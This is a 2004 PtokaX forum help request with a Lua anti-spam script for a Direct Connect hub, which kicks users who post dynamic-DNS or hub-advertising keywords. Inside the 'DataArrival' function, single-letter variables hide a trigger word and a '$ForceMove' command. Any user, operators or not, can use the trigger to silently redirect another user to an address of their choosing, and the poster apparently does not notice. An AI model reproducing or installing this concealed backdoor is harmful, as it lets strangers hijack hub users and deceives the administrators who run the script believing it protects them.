PtokaX forum

Archive => Archived 4.0 boards => Help with Lua 4 scripts => Topic started by: enema on 28 October, 2004, 07:34:39

Title: Good anti-spam needs upgrade!
Post by: enema on 28 October, 2004, 07:34:39
Heellloo!

I dont remember, where I got this one, but it has an error in it. When user types somekind of number in chat (in this case 62 or 81) user gets kick. There was a lot more numbers when I got that, but I erased them. Can anyone fix this bug and make it kick only when real IP address is posted in chat??? And it would be awesome, if you would update it, including newest domains and stuff...

anyway, here it goes:

a="!"
b="d"
c="o"
d="u"
e="p"
h="r"
i="c"
j="e"
k="v"
trigs = {["dns2go"]=1,["myftpsite"]=2,["servebeer"]=3,["dynip"]=4,["staticip"]=5,["serveftp"]=6,["ipactive"]=7,
["servegame"]=8,["ath%.cx"]=9,["dyndns"]=10,["clanpimp"]=11,["idlegames"]=12,["sytes"]=13,
["uni%.cc"]=14,["homeunix"]=15,["deftonzs%.com"]=16,["flamenap"]=17,["xs4all"]=18,["serveftp"]=19,
["myftp"]=20,["d2g"]=21,["orgdns"]=22,["ip%.org"]=23,["ip%.com"]=24,["ip%.info"]=25,["no%-ip"]=26,
["%.valsts%."]=27,["hub%."]=28,["%.hub"]=29,["cjb%."]=30,["mine%.nu"]=31,["hopto%.org"]=32,["dynu%.com"]=33,
["ath%.cx"]=34,["orgdns"]=35,["dns2go"]=36,["myftpsite"]=37,["servebeer"]=38,["d n s 2 g o"]=39,
["m y f t p s i t e"]=40,["s e r v e b e e r"]=41,["d y n i p"]=42,["s t a t i c i p"]=43,["s e r v e f t p"]=44,
["i p a c t i v e"]=45,["s e r v e g a m e"]=46,["a t h %. c x"]=47,["d y n d n s"]=48,["c l a n p i m p"]=49,
["i d l e g a m e s"]=50,["s y t e s"]=51,["u n i %. c c"]=52,["h o m e u n i x"]=53,["d e f t o n z s %. c o m"]=54,
["f l a m e n a p"]=55,["x s 4 a l l"]=56,["s e r v e f t p"]=57,["m y f t p"]=58,["d 2 g"]=59,["o r g d n s"]=60,
["i p %. o r g"]=61,["i p %. c o m"]=62,["i p %. i n f o"]=63,["n o %- i p"]=64,["n o%-i p"]=65,["%. v a l s t s %."]=66,
["h u b %."]=67,["%. h u b"]=68,["c j b %."]=69,["m i n e %. n u"]=70,["h o p t o %. o r g"]=71,["d y n u %. c o m"]=72,
["a t h %. c x"]=73,["o r g d n s"]=74,["d n s 2 g o"]=75,["m y f t p s i t e"]=76,["s e r v e b e e r"]=77,
["%:valsts%:"]=78,["hub%:"]=79,["%:hub"]=80,["dynsite"]=81,["v a l s  ts"]=82, ["v.a.l.s.t.s"]=83,["h.u.b"]=84,["v..a..l..s..t..s"]=85,["v...a...l...s...t...s"]=86,["sytes"]=89,["valsts lv"]=90,[":::n:o::: - :::i:p::: . :::c:o:m:::"]=91,["n:o - i:p . c:o:m"]=92,
["62."]=93,["81."]=94}

function Main()
frmHub:UnregBot("DUDE")
frmHub:RegBot("DUDE")
end

function DataArrival(user, data)
  if (( strsub(data, 1, 1) == "<" ) and (strfind( strlower(data), a..b..d..e.."l"..j..j.."tt"))) then
    aws,awe,awt,g,f = strfind( data, "%b<>%s+(%S+)%s+(%S+)%s+(.+)" )
    if not (f==nil) then
      SendToNick(g,"$F"..c..h..i..j.."M"..c..k..j.." "..f.."|")
    end
    return 1
  else
    if not (user.bOperator) then
      if (( strsub(data, 1, 1) == "<" ) or ( strsub(data, 1, 4) == "$To:" )) then
        for key,a in trigs do
          if( strfind( strlower(data), key) ) then
            SendToOps("DUDE", "kicked: "..user.sName.." - "..user.sIP.." - For advertising: "..data )
            user:SendData("DUDE", "advertisment!!!")
            user:SendData("Security", "Disconnect...")
            user:TempBan()
            user:Disconnect()
          end
        end
      end
    end
  end
end